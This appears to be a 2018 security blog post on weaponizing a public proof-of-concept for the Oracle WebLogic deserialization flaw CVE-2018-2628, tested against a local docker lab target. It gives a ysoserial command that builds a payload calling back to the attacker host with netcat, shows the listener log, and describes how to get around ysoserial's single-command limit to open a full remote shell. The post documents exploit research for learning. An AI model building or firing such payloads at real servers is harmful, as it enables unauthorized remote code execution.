Weaponize Oracle Weblogic Server POC (CVE-2018-2628)

26th Apr 2018

On April 18th 2018, a Remote Command Execution vulnerability has been discosled in Oracle Weblogic Server.
At the time of this writing, there are a couple of Proof Of Concept out there, let's see how we can improve them and pop a remote shell an the victim machine.

Starting point

I started my research using the following resources:

All these links gave me some directions on how to build and weaponize the POC: once I put everything together I was able have a full remote shell.

Create the victim

First of all, I needed a target to check if the POC was really working.
In this repository there is the link a docker image that contains a vulnerable instance of Oracle server.
Spinning it is quite simple:

docker pull zhiqzhao/ubuntu_weblogic1036_domain
docker run -d -p 7001:7001 zhiqzhao/ubuntu_weblogic1036_domain

There are even a couple of example on how to create a payload, but it seems they are incomplete: there's a reference to an exploit.py file, but there's nothing like that inside the repository.
The main giveaway is that we should create the payload using Y SO SERIAL (kudos for the great name). Honestly I've never had to exploit any Java object serialisation, so I never used it before.

Testing the POC

So, now it was time to test the POC.
This script was actually working but... it was a kind of black box: no comments, output strings in Chinese, duplicated code or not well organized.
Let's say that if you wrote that code, you know what's going on, but for someone external, it's pretty hard.

So after polishing it up and translating all the strings, I was able to understand the code flow. Since all strings were hex encoded, I started to decode them before using them, just to understand what I was actually sending out.
Along with a lot of gibberish data, it seemed that the magic happened in the PAYLOAD variable (duh...). There was an hardcoded IP, so I had to update the payload to reflect my own use case.

Updating the payload

brianwrf example code was using ysoserial in an interactive mode, however I wasn't able to wrap my mind around that.
To be extra sure everything was working correctly, I decided to do something simpler. Let's replace current payload with a static one, simply trying to call back my hosting machine:

# Output is piped to xxd, in raw hex mode in a single line, ready to be pasted
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections1 'nc -nv 172.17.0.1 4040' \
| xxd -ps -c 10000

I fired a listening instance of netcat on my machine and....

tampe125@AlphaCentauri:~$ nc -nlvp 4040
Listening on [0.0.0.0] (family 0, port 4040)
Connection from [172.17.0.2] port 4040 [tcp/*] accepted (family 2, sport 58122)

YAY!
A connection back means my code was executed. That's pretty cool, but it's just a POC, I wanted something more serious.

Close but no cigar

After updating the payload with the correct data, I wanted to do something more: spawn a real shell.   Since I got a connection back from netcat, I was very confident I would be able to bind it to a real shell.   Sadly I was wrong: if I tried to concatenate or pipe more commands, I didn't get any connection back, meaning that the whole exploit was failing.

That's a bummer.
Time to ask to the Big Brother: Google.

Nailed it

After several researches, I found the cause of the issue. YSOSERIAL can only inject one single command, it can't handle more complex commands.
From Burp Java Serialized Payloads repository:

This is because to run complex commands that pipe command into other commands in java the arguments needs to be a string Array. This version of ysoserial has been modified by using a delimter of ",," to seperate your arguments to the string array.

After installing that extension inside Burp, I was able to create a payload and replace it inside the original POC.
The result was brilliant:

Comments:

Blog Comments powered by Disqus.